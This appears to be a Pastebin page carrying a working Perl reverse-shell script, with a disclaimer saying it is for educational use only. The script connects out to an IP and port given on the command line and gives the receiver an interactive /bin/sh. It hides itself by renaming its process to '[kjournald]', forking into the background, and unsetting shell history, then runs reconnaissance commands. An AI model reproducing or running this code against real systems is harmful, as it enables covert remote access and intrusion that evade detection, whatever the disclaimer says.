Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- #
- # Interactive Back-Connect perl script
- #
- # Description:
- # This script will make an outbound TCP connection
- # to a IP and port. The recipient will
- # be given a shell running as the current user
- #
- # Copyright 2016 (c) Todor Donev
- # todor.donev@gmail.com
- # http://www.ethical-hacker.org/
- # https://www.facebook.com/ethicalhackerorg
- # http://pastebin.com/u/hackerscommunity
- #
- # Disclaimer:
- # This or previous program is for Educational
- # purpose ONLY. Do not use it without permission.
- # The usual disclaimer applies, especially the
- # fact that Todor Donev is not liable for any
- # damages caused by direct or indirect use of the
- # information or functionality provided by these
- # programs. The author or any Internet provider
- # bears NO responsibility for content or misuse
- # of these programs or any derivatives thereof.
- # By using these programs you accept the fact
- # that any damage (dataloss, system crash, system
- # compromise, etc.) caused by the use of these
- # programs is not Todor Donev's responsibility.
- #
- # Use at your own risk and educational purpose
- # ONLY!
- #
- use IO::Socket;
- use Socket;
- my $host = $ARGV[0];
- my $port = $ARGV[1] || 13333;
- my $proc = "[kjournald]";
- exit if ($port<1024||$port>65535);
- exit if(!defined $host || !defined $port);
- $0 = "$proc"."\x0"x16;
- my $pid=fork;
- exit if $pid;
- exit unless defined($pid);
- socket(SOCKET, PF_INET,SOCK_STREAM,getprotobyname('tcp')) or exit;
- connect(SOCKET, sockaddr_in("$port",inet_aton("$host"))) or exit;
- system SOCKET->autoflush();
- open(STDIN, ">&SOCKET");
- open(STDOUT,">&SOCKET");
- open(STDERR,">&SOCKET");
- system("unset HISTFILE;uname -a;id;w;echo");
- system("echo 'Kill perl process id: $$'");
- system("/bin/sh -i");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement